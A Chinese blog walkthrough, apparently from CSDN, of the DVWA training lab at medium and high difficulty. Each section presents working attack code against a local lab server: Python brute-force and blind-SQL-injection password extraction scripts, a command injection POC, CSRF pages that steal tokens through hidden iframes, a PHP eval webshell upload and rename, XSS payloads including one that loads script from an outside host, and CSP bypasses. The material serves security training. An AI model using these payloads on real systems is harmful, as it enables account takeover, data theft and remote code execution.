DVWA靶场通关教程(medium、high)

一、Brute Force

medium难度py脚本

带用户cookie,爆破就行了,但是他源码有个sleep(2)所以有点慢

import re

import requests

headers = {
    'Cookie': 'security=medium; PHPSESSID=b24cer6tg9bidirhe0ebm87ha7',
}



def brute(pw):

    url = "http://192.168.116.136/01/vulnerabilities/brute/"

    params = {
        'username': 'admin',
        'password': pw,
        'Login': 'Login',
    }

    req = requests.get(url, params=params, headers=headers)
    return req.text



with open('C:/Users/Asus/Desktop/top1000.txt') as p:
    pslist = p.readlines()
    p.close()

for line in pslist:
    line = line.strip("\n")
    print("%s......" % line)
    result = brute(line)
    if not "incorrect" in result:
        print("密码是: %s" % line)
        break
high难度py脚本

high难度多了个token,具体思路就是先登录,然后在浏览器中获取cookie然后放入脚本的请求头中,get请求获得token,再用这个token登录

import re

import requests

headers = {
    'Cookie': 'security=high; PHPSESSID=b24cer6tg9bidirhe0ebm87ha7',
}

def get_token():
    url = 'http://192.168.116.136/01/vulnerabilities/brute/'
    req = requests.get(url, headers=headers)
    return req.text


def brute(pw, user_token):

    url = "http://192.168.116.136/01/vulnerabilities/brute/"

    params = {
        'username': 'admin',
        'password': pw,
        'Login': 'Login',
        'user_token':user_token
    }

    req = requests.get(url, params=params, headers=headers)
    return req.text



with open('C:/Users/Asus/Desktop/top1000.txt') as p:
    pslist = p.readlines()
    p.close()

for line in pslist:
    line = line.strip("\n")
    match = re.search(r'value=\'(.+)\'', get_token())
    user_token = match.group(1)
    result = brute(line, user_token)
    print("%s......" % line)
    if not "incorrect" in result:
        print("密码是: %s" % line)
        break

二、Command injection

medium、high 

这两难度用 '|' 就ok了,就算是high难度的源码里也只过滤了'| '

 POC
import requests

headers = {
    "Referer": "http://192.168.116.136/01/vulnerabilities/exec/",
    "Cookie": "security=medium; PHPSESSID=td1hlkf4icbvj7qcu23h85rkm0",
}

url = 'http://192.168.116.136/01/vulnerabilities/exec/'

data = {
    'ip': '-127.0.0.1|whoami',
    'Submit': 'Submit'
}

result = requests.post(url=url, data=data, headers=headers)
print(result.text)

三、CSRF

这个我从low难度开始做

这题考察的是,诱导用户点入连接,修改密码

当用户登录了网站且没退出时候,直接点入这个连接就会被修改代码

http://192.168.116.136/01/vulnerabilities/csrf/?password_new=12345&password_conf=12345&Change=Change

 但是这个连接太明显了,我们可以使用在线工具,把连接缩短为短链接

https://3mw.cn/04p99

提示修改成功

medium

这题加了对refere的验证,refere里要包含服务器的ip

 原本的请求体是这样的

如果用low的方法直接发链接,是过不了这个验证的

 所以我们可以把链接写成页面传入服务器,然后把页面名改为网站ip,再在网站中点入页面,就可以修改密码了

#192.168.116.136.html页面代码

<img src="http://192.168.116.136/01/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change"border="0" style="display:none;"/>

<h1>404<h1>

<h2>file not found.<h2>

以下是执行192.168.116.136.html的请求体

 退出登录发现已经更改成功

high

把这个页面放进去就好

<!DOCTYPE html>
<html>
<head lang="en">
    <meta charset="UTF-8">
    <title></title>
    <script type="text/javascript">
        // 获取用户的 token,并设置为表单中的 token,然后提交修改密码的表单
        function attack() {
            // 获取 iframe 中的页面内的用户 token
            document.getElementsByName('user_token')[0].value = document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
            // 提交表单
            document.getElementById("transfer").submit();
        }
    </script>
</head>
<body onload="attack()"> <!-- 当页面加载完成时,执行 attack() 函数 -->
    <!-- 在隐藏的 iframe 中加载目标网页 -->
    <iframe src="http://192.168.10.14/dvwa/vulnerabilities/csrf/" id="hack"  style="display:none;">
    </iframe>
    <!-- 修改密码的表单 -->
    <form method="GET" id="transfer"  action="http://192.168.10.14/dvwa/vulnerabilities/csrf/">
        <!-- 新密码字段 -->
        <input type="hidden" name="password_new" value="admin">
        <!-- 确认密码字段 -->
        <input type="hidden" name="password_conf" value="admin">
        <!-- 用户 token 字段,初始为空 -->
        <input type="hidden" name="user_token" value="">
        <!-- 提交修改密码的操作 -->
        <input type="hidden" name="Change" value="Change">
    </form>
</body>
</html>
POC
import requests
import re

headers = {
    'Cookie': 'security=high; PHPSESSID=td1hlkf4icbvj7qcu23h85rkm0',
    'Referer': 'http://192.168.116.136/01/vulnerabilities/csrf/'
}

url = 'http://192.168.116.136/01/vulnerabilities/csrf/'

result = requests.get(url=url, headers=headers)
print(result.text)
token = re.findall(r'value=\'(.+)\'', result.text)
user_token = token[0]

params = {
    'password_new': '13579',
    'password_conf': '13579',
    'Change': 'Change',
    'user_token': user_token
}
result = requests.get(url=url, params=params, headers=headers)
if 'Password Changed' in result.text:
    print("密码修改成功")
else:
    print("密码修改失败")

四、File Upload

medium

上传1.jpg,然后抓包,修改后缀为php就绕过了

然后拿蚁剑连

 poc
import requests

url = 'http://192.168.116.136/01/vulnerabilities/upload/'
files = {
    'MAX_FILE_SIZE': (None, '100000'),
    'uploaded': ('1.php', '<?php phpinfo();eval($_POST[\'cmd\']);?>', 'image/jpeg')
}
data = {
    'Upload': 'Upload'
}
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36',
    'Referer': 'http://192.168.116.136/01/vulnerabilities/upload/',
    'Cookie': 'security=medium; PHPSESSID=td1hlkf4icbvj7qcu23h85rkm0',
}

response = requests.post(url, files=files, data=data, headers=headers)
print(response.text)
high

../../hackable/uploads/shell.jpg

然后切换到命令执行页面,输入以下命令

127.0.0.1|mv ../../hackable/uploads/shell.jpg ../../hackable/uploads/shell.php重命名shell.jpg

 拿下

五、SQL Injection

medium

这题在' ' '前面加了'/'别加'就好了

 poc
import requests

url = 'http://192.168.116.136/01/vulnerabilities/sqli/'
data = {
    'id': '1 union select 1,2#',
    'Submit': 'Submit'
}
headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36',
    'Referer': 'http://192.168.116.136/01/vulnerabilities/sqli/',
    'Cookie': 'security=medium; PHPSESSID=td1hlkf4icbvj7qcu23h85rkm0',
}

response = requests.post(url, data=data, headers=headers)
print(response.text)
high

嗯...

六、SQL Injection Blind

low:

前面的过程不写了,思路是一样的,把密码爆破出来就行

import requests


url = 'http://192.168.116.136/01/vulnerabilities/sqli_blind/'
headers = {
    'Cookie': 'security=low; PHPSESSID=0nqil1f2nhrgvmngm299r0i2v5',
   }
def sqlblind(num, s):
    params = {
        "id": "1' and if (substring((select CONCAT(user,0x3a,PASSWORD) from users limit 1)," + str(num) + ",1)=" + "'" + s + "'" + ",1,0)#",
        "Submit": "Submit",
    }

    result = requests.get(url=url, params=params, headers=headers)

    if 'ID exists in the database' in result.text:
        return s

with open('C:/Users/Asus/Desktop/1.txt') as p:
    lines = p.readlines()
    p.close()

password = ""

for i in range(1, 100):
    for line in lines:
        line = line.strip("\n")
        s = sqlblind(i, line)
        if s:
             password += s
             break
print("账号密码为:", password)

medium:

这个比起low多了两个点

1.要抓包改包

 2.多了个引号过滤,绕过的话就是把字符改为16进制的

以下是poc
import requests


url = 'http://192.168.116.136/01/vulnerabilities/sqli_blind/'
headers = {
    'Cookie': 'security=medium; PHPSESSID=70sqp6r48gs4q2114o09921755',
    'Referer': 'http://192.168.116.136/01/vulnerabilities/sqli_blind/'
   }
def sqlblind(num, s):
    data = {
        "id": "1 and if (substring((select CONCAT(user,0x3a,PASSWORD) from users limit 1)," + str(num) + ",1)=" + s + ",1,0)#",
        "Submit": "Submit",
    }

    result = requests.post(url=url, data=data, headers=headers)

    if 'ID exists in the database' in result.text:
        s = chr(int(s, 16))
        return s

with open('C:/Users/Asus/Desktop/1.txt') as p:
    lines = p.readlines()
    p.close()

password = ""

for i in range(1, 100):
    for line in lines:
        line = line.strip("\n")
        line_hex = hex(ord(line))
        s = sqlblind(i, line_hex)
        if s:
             password += s
             break
print("账号密码为:", password)

high

这题有点滑头,是这样的,输入的时候会弹出一个框嘛,然后查看发出的请求就会发现,在弹出框中输入的注入语句会传到原本网页的cookie中,再传入。那我们直接修改原本网页请求的cookie就好了。

poc
import requests
import threading

url = 'http://192.168.116.136/01/vulnerabilities/sqli_blind/'

def sqlblind(num, s):
    headers = {
        "Cookie": f"id=1' and if (substring((select CONCAT(user,0x3a,PASSWORD) from users limit 1),{num},1)='{s}',1,0)#;security=high; PHPSESSID=70sqp6r48gs4q2114o09921755",
        "Referer": "http://192.168.116.136/01/vulnerabilities/sqli_blind/"
    }

    result = requests.get(url=url, headers=headers)

    if 'ID exists in the database' in result.text:
        print(s)
        return s

def process_lines(lines, start, end):
    password = ""
    for i in range(start, end):
        for line in lines:
            line = line.strip("\n")
            s = sqlblind(i, line)
            if s:
                password += s
                break
    print("账号密码为:", password)

with open('C:/Users/Asus/Desktop/1.txt') as p:
    lines = p.readlines()
    p.close()

num_lines = len(lines)
num_threads = 10  # 设置线程数

threads = []
for i in range(num_threads):
    start = i * (num_lines // num_threads)
    end = (i + 1) * (num_lines // num_threads)
    thread = threading.Thread(target=process_lines, args=(lines, start, end))
    threads.append(thread)
    thread.start()

for thread in threads:
    thread.join()

 有点慢

七、XSS (DOM)

medium:

源码分析

后端仅仅过滤了"<script"标签,不能说是铜墙铁壁吧,只能说是聊胜于无

以各种构造方法绕过:

</option></select><a href="javascript:alert(/xss/)">touch me</a>   //利用a标签的javascript:伪协议

<input type="text" onkeydown="alert(/xss/)">		//单行文本框的键盘点击事件,当点击键盘任一按键时触发XSS

</option></select><img src='C:/Users/Asus/Pictures/金智媛/jzy 7.jpg' onmouseover='alert(/xss/)'>
</option></select><img src='./smile.jpg' onerror='alert(/xss/)'>		//onerror会在文档载入失败时触发XSS,比如下一个语句
</option></select><img src='#' onerror='alert(/xss/)'>				//与上一个语句相比,将文件路径改成#,一定载入失败,触发XSS

<input type="text" onkeyup="alert(/xss/)">
<input type="button" onclick="alert(/xss/)">

利用一些比较新的前端标签进行构造:
</option></select><svg onload="alert(/xss/)">

high:

源码分析:

是一个白名单

为了绕过这个白名单,我们在构造的xss语句前面加上English #

这样,传到后端的defult的值就是English,而xss语句也可以在前端执行

八、XSS(reflected)

medium:

源码分析:

str_replace这函数是区分大小写的

所以双写绕过和大小写绕过都能成功

</textarea>'"><scr<script>ipt src=http://www.xssme.com/nv11dZ?1712286739></script>

</textarea>'"><sCripT src=http://www.xssme.com/nv11dZ?1712286739></scrIpt>

high:

源码分析:

绕过不了了

我们换构造方式

</option></select><img src='#' onerror='alert(/xss/)'>	

九、XSS(stored)

medium:

源码分析:

<?php
 
if( isset( $_POST[ 'btnSign' ] ) ) {
    // 当用户点击提交按钮时执行以下代码
    
    // 获取表单输入的留言和姓名
    $message = trim( $_POST[ 'mtxMessage' ] ); // 获取留言内容
    $name    = trim( $_POST[ 'txtName' ] );    // 获取用户姓名
    
    // 对留言内容进行过滤和处理,防止XSS攻击和SQL注入
    
    // 1. 清理留言内容
    $message = strip_tags( addslashes( $message ) ); // 去除HTML标签并添加反斜杠,防止SQL注入
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 对特殊字符进行转义,防止SQL注入
    $message = htmlspecialchars( $message ); // 将特殊字符转换为HTML实体,防止XSS攻击
    
    // 2. 清理姓名
    $name = str_replace( '<script>', '', $name ); // 清除可能包含的<script>标签,防止XSS攻击
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 对特殊字符进行转义,防止SQL注入
    
    // 将处理后的留言信息插入到数据库中
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; // 构造插入数据库的SQL语句
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // 执行SQL语句,将留言信息插入到数据库中,并在出错时输出错误信息
    
    // 关闭数据库连接(此处的注释掉的语句是一个关闭数据库连接的示例)
    //mysql_close();
}
 
?>

这里可以看到message参数已经没什么机会了,我们换name参数绕过应该可行

绕过字数限制

high:

源码分析:

<?php
// 检查是否有提交按钮被点击
if( isset( $_POST[ 'btnSign' ] ) ) {
    // 获取输入内容
    $message = trim( $_POST[ 'mtxMessage' ] ); // 获取评论信息
    $name    = trim( $_POST[ 'txtName' ] );    // 获取用户名
 
    // 清理评论信息
    $message = strip_tags( addslashes( $message ) ); // 移除 HTML 标签,并添加反斜杠转义特殊字符
    $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 防止 SQL 注入
    $message = htmlspecialchars( $message ); // 转义特殊字符,防止 XSS 攻击
 
    // 清理用户名
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); // 移除可能的 JavaScript 代码
    $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // 防止 SQL 注入
 
    // 更新数据库
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; // 构造 SQL 查询语句
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // 执行 SQL 查询,如果失败则输出错误信息
 
    //mysql_close(); // 可能是错误的关闭数据库连接的方式,建议注释掉,除非你确信这是正确的关闭方式
}
?>

换种构造方式

成功

十、CSP Bypass

内容安全策略(Content Security Policy,CSP)可以通过指定不同的指令和值来配置,以控制网页的加载和执行行为。以下是 CSP 中常用的一些指令和元素:

  1. default-src:定义默认允许加载资源的来源,如果没有指定其他源,则将使用默认值。
  2. script-src:控制可以执行的 JavaScript 脚本的来源。
  3. style-src:控制可以加载的 CSS 样式表的来源。
  4. img-src:定义允许加载图像的来源。
  5. font-src:控制可以加载字体文件的来源。
  6. connect-src:指定允许进行 XHR、WebSocket 或者 EventSource 连接的来源。
  7. frame-src:定义允许加载的嵌入框架的来源。
  8. object-src:控制可以加载的插件(如 Flash)和嵌入式对象的来源。
  9. media-src:指定允许加载音频和视频的来源。
  10. child-src:用于控制通过 <frame>、<iframe>、<embed> 或 <object> 元素加载的资源的来源。
  11. form-action:定义允许提交表单的地址。
  12. frame-ancestors:控制页面可以嵌套的父级框架的来源。
  13. report-uri:指定一个 URL,用于接收 CSP 违规报告。
 low:

源码分析

$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;";

//script-src 指令用于指定允许加载 JavaScript 的来源。也就是开白名单

查看: https://pastebin.com发现是一个可以上传文本的网站

复制这个链接放入靶场就能成功了

medium:

源码分析:

$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
#主要是这一段,'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=',unsafe-inline 是 CSP 中的一个指令值,用于指定允许在 HTML 中使用内联脚本和样式的来源。

所以,按照这个我们输入,插入这个script脚本

<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert('xss');</script>

high:

源码分析:

$headerCSP = "Content-Security-Policy: script-src 'self';";

这里除了自身,其余的外部资源全部过滤了

但是代码没有过滤可以直接在代码里修改:

修改为xss注入语句,成功

  • 29
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值